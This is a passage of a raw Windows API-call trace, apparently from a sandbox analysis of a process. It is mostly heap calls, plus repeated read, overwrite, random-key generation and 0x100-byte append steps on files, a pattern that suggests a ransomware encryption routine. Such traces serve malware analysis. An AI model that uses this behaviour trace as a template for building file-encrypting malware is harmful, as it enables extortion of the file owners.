lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0089.435] GetProcessHeap () returned 0x540000 [0089.435] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0089.435] GetProcessHeap () returned 0x540000 [0089.435] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0089.435] GetProcessHeap () returned 0x540000 [0089.435] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0089.435] GetProcessHeap () returned 0x540000 [0089.435] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0089.435] GetProcessHeap () returned 0x540000 [0089.435] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0089.435] GetProcessHeap () returned 0x540000 [0089.435] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0089.435] GetProcessHeap () returned 0x540000 [0089.435] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.435] GetProcessHeap () returned 0x540000 [0089.435] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.435] GetProcessHeap () returned 0x540000 [0089.435] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.435] GetProcessHeap () returned 0x540000 [0089.435] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.435] GetProcessHeap () returned 0x540000 [0089.435] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.435] GetProcessHeap () returned 0x540000 [0089.435] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.435] GetProcessHeap () returned 0x540000 [0089.435] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.435] GetProcessHeap () returned 0x540000 [0089.435] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.436] GetProcessHeap () returned 0x540000 [0089.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.436] GetProcessHeap () returned 0x540000 [0089.436] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.436] GetProcessHeap () returned 0x540000 [0089.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.436] GetProcessHeap () returned 0x540000 [0089.436] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.436] GetProcessHeap () returned 0x540000 [0089.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.436] GetProcessHeap () returned 0x540000 [0089.436] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.436] GetProcessHeap () returned 0x540000 [0089.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.436] GetProcessHeap () returned 0x540000 [0089.436] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.436] GetProcessHeap () returned 0x540000 [0089.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.436] GetProcessHeap () returned 0x540000 [0089.436] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.436] GetProcessHeap () returned 0x540000 [0089.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.436] GetProcessHeap () returned 0x540000 [0089.436] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.436] GetProcessHeap () returned 0x540000 [0089.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.436] GetProcessHeap () returned 0x540000 [0089.436] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.436] GetProcessHeap () returned 0x540000 [0089.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.436] GetProcessHeap () returned 0x540000 [0089.436] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.436] GetProcessHeap () returned 0x540000 [0089.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.436] GetProcessHeap () returned 0x540000 [0089.436] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.436] GetProcessHeap () returned 0x540000 [0089.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.436] GetProcessHeap () returned 0x540000 [0089.436] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.436] GetProcessHeap () returned 0x540000 [0089.437] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.437] GetProcessHeap () returned 0x540000 [0089.437] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.437] GetProcessHeap () returned 0x540000 [0089.437] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.437] GetProcessHeap () returned 0x540000 [0089.437] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.437] GetProcessHeap () returned 0x540000 [0089.437] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0089.437] GetProcessHeap () returned 0x540000 [0089.437] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.437] GetProcessHeap () returned 0x540000 [0089.437] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0089.437] GetProcessHeap () returned 0x540000 [0089.437] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0089.437] GetProcessHeap () returned 0x540000 [0089.437] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0089.437] GetProcessHeap () returned 0x540000 [0089.437] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0089.437] GetProcessHeap () returned 0x540000 [0089.437] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0089.437] GetProcessHeap () returned 0x540000 [0089.437] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0089.437] GetProcessHeap () returned 0x540000 [0089.437] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.437] GetProcessHeap () returned 0x540000 [0089.437] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0089.437] GetProcessHeap () returned 0x540000 [0089.437] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.437] GetProcessHeap () returned 0x540000 [0089.437] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.437] GetProcessHeap () returned 0x540000 [0089.437] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.437] GetProcessHeap () returned 0x540000 [0089.437] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.437] GetProcessHeap () returned 0x540000 [0089.438] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.438] GetProcessHeap () returned 0x540000 [0089.438] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.438] GetProcessHeap () returned 0x540000 [0089.438] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.438] GetProcessHeap () returned 0x540000 [0089.438] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.438] GetProcessHeap () returned 0x540000 [0089.438] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.438] GetProcessHeap () returned 0x540000 [0089.438] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.438] GetProcessHeap () returned 0x540000 [0089.438] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.438] GetProcessHeap () returned 0x540000 [0089.438] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.438] GetProcessHeap () returned 0x540000 [0089.438] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.438] GetProcessHeap () returned 0x540000 [0089.438] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.438] GetProcessHeap () returned 0x540000 [0089.438] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.438] GetProcessHeap () returned 0x540000 [0089.438] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.438] GetProcessHeap () returned 0x540000 [0089.438] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.438] GetProcessHeap () returned 0x540000 [0089.438] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.438] GetProcessHeap () returned 0x540000 [0089.438] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.439] GetProcessHeap () returned 0x540000 [0089.439] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.439] GetProcessHeap () returned 0x540000 [0089.439] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.439] GetProcessHeap () returned 0x540000 [0089.439] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.439] GetProcessHeap () returned 0x540000 [0089.439] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.439] GetProcessHeap () returned 0x540000 [0089.439] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.439] GetProcessHeap () returned 0x540000 [0089.439] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0089.439] GetProcessHeap () returned 0x540000 [0089.439] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.439] GetProcessHeap () returned 0x540000 [0089.439] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0089.439] GetProcessHeap () returned 0x540000 [0089.439] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0089.439] GetProcessHeap () returned 0x540000 [0089.439] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.439] GetProcessHeap () returned 0x540000 [0089.439] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0089.439] SetFilePointerEx (in: hFile=0x9f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.439] WriteFile (in: hFile=0x9f8, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0089.439] WriteFile (in: hFile=0x9f8, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0089.439] GetProcessHeap () returned 0x540000 [0089.439] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0089.439] GetProcessHeap () returned 0x540000 [0089.440] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0089.440] GetProcessHeap () returned 0x540000 [0089.440] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0089.440] CloseHandle (hObject=0x9f8) returned 1 [0089.441] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 160 [0089.441] SetFilePointerEx (in: hFile=0x9fc, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.441] ReadFile (in: hFile=0x9fc, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0089.441] SetFilePointerEx (in: hFile=0x9fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.441] GetProcessHeap () returned 0x540000 [0089.441] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0089.441] GetProcessHeap () returned 0x540000 [0089.441] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0089.441] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0089.441] GetProcessHeap () returned 0x540000 [0089.441] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0089.442] ReadFile (in: hFile=0x9fc, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0089.494] SetFilePointerEx (in: hFile=0x9fc, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.494] WriteFile (in: hFile=0x9fc, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0089.494] GetProcessHeap () returned 0x540000 [0089.495] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0089.495] GetProcessHeap () returned 0x540000 [0089.495] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0089.495] GetProcessHeap () returned 0x540000 [0089.495] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0089.495] GetProcessHeap () returned 0x540000 [0089.495] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0089.495] GetProcessHeap () returned 0x540000 [0089.495] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0089.495] GetProcessHeap () returned 0x540000 [0089.495] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0089.495] GetProcessHeap () returned 0x540000 [0089.495] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.495] GetProcessHeap () returned 0x540000 [0089.495] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.495] GetProcessHeap () returned 0x540000 [0089.495] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.495] GetProcessHeap () returned 0x540000 [0089.495] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.495] GetProcessHeap () returned 0x540000 [0089.495] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.495] GetProcessHeap () returned 0x540000 [0089.495] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.495] GetProcessHeap () returned 0x540000 [0089.495] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.495] GetProcessHeap () returned 0x540000 [0089.495] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.495] GetProcessHeap () returned 0x540000 [0089.495] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.495] GetProcessHeap () returned 0x540000 [0089.495] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.495] GetProcessHeap () returned 0x540000 [0089.495] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.495] GetProcessHeap () returned 0x540000 [0089.495] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.495] GetProcessHeap () returned 0x540000 [0089.495] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.495] GetProcessHeap () returned 0x540000 [0089.495] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.495] GetProcessHeap () returned 0x540000 [0089.496] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.496] GetProcessHeap () returned 0x540000 [0089.496] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.496] GetProcessHeap () returned 0x540000 [0089.496] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.496] GetProcessHeap () returned 0x540000 [0089.496] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.496] GetProcessHeap () returned 0x540000 [0089.496] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.496] GetProcessHeap () returned 0x540000 [0089.496] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.496] GetProcessHeap () returned 0x540000 [0089.496] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.496] GetProcessHeap () returned 0x540000 [0089.496] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.496] GetProcessHeap () returned 0x540000 [0089.496] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.496] GetProcessHeap () returned 0x540000 [0089.496] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.496] GetProcessHeap () returned 0x540000 [0089.496] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.496] GetProcessHeap () returned 0x540000 [0089.496] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.496] GetProcessHeap () returned 0x540000 [0089.496] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.496] GetProcessHeap () returned 0x540000 [0089.496] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.496] GetProcessHeap () returned 0x540000 [0089.496] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.496] GetProcessHeap () returned 0x540000 [0089.496] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.496] GetProcessHeap () returned 0x540000 [0089.496] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.496] GetProcessHeap () returned 0x540000 [0089.496] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.496] GetProcessHeap () returned 0x540000 [0089.496] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0089.496] GetProcessHeap () returned 0x540000 [0089.496] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.496] GetProcessHeap () returned 0x540000 [0089.496] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0089.497] GetProcessHeap () returned 0x540000 [0089.497] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0089.497] GetProcessHeap () returned 0x540000 [0089.497] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0089.497] GetProcessHeap () returned 0x540000 [0089.497] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0089.497] GetProcessHeap () returned 0x540000 [0089.497] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0089.497] GetProcessHeap () returned 0x540000 [0089.497] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0089.497] GetProcessHeap () returned 0x540000 [0089.497] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.497] GetProcessHeap () returned 0x540000 [0089.497] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0089.497] GetProcessHeap () returned 0x540000 [0089.497] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.497] GetProcessHeap () returned 0x540000 [0089.497] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.497] GetProcessHeap () returned 0x540000 [0089.497] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.497] GetProcessHeap () returned 0x540000 [0089.497] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.497] GetProcessHeap () returned 0x540000 [0089.497] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.497] GetProcessHeap () returned 0x540000 [0089.497] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.497] GetProcessHeap () returned 0x540000 [0089.497] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.497] GetProcessHeap () returned 0x540000 [0089.497] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.497] GetProcessHeap () returned 0x540000 [0089.497] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.498] GetProcessHeap () returned 0x540000 [0089.498] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.498] GetProcessHeap () returned 0x540000 [0089.498] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.498] GetProcessHeap () returned 0x540000 [0089.498] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.498] GetProcessHeap () returned 0x540000 [0089.498] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.498] GetProcessHeap () returned 0x540000 [0089.498] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.498] GetProcessHeap () returned 0x540000 [0089.498] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.498] GetProcessHeap () returned 0x540000 [0089.498] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.498] GetProcessHeap () returned 0x540000 [0089.498] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.498] GetProcessHeap () returned 0x540000 [0089.498] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.498] GetProcessHeap () returned 0x540000 [0089.498] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.498] GetProcessHeap () returned 0x540000 [0089.498] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.498] GetProcessHeap () returned 0x540000 [0089.498] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.498] GetProcessHeap () returned 0x540000 [0089.498] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.498] GetProcessHeap () returned 0x540000 [0089.498] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.498] GetProcessHeap () returned 0x540000 [0089.498] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.498] GetProcessHeap () returned 0x540000 [0089.499] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0089.499] GetProcessHeap () returned 0x540000 [0089.499] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.499] GetProcessHeap () returned 0x540000 [0089.499] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0089.499] GetProcessHeap () returned 0x540000 [0089.499] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0089.499] GetProcessHeap () returned 0x540000 [0089.499] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.499] GetProcessHeap () returned 0x540000 [0089.499] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0089.499] SetFilePointerEx (in: hFile=0x9fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.499] WriteFile (in: hFile=0x9fc, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0089.499] WriteFile (in: hFile=0x9fc, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, 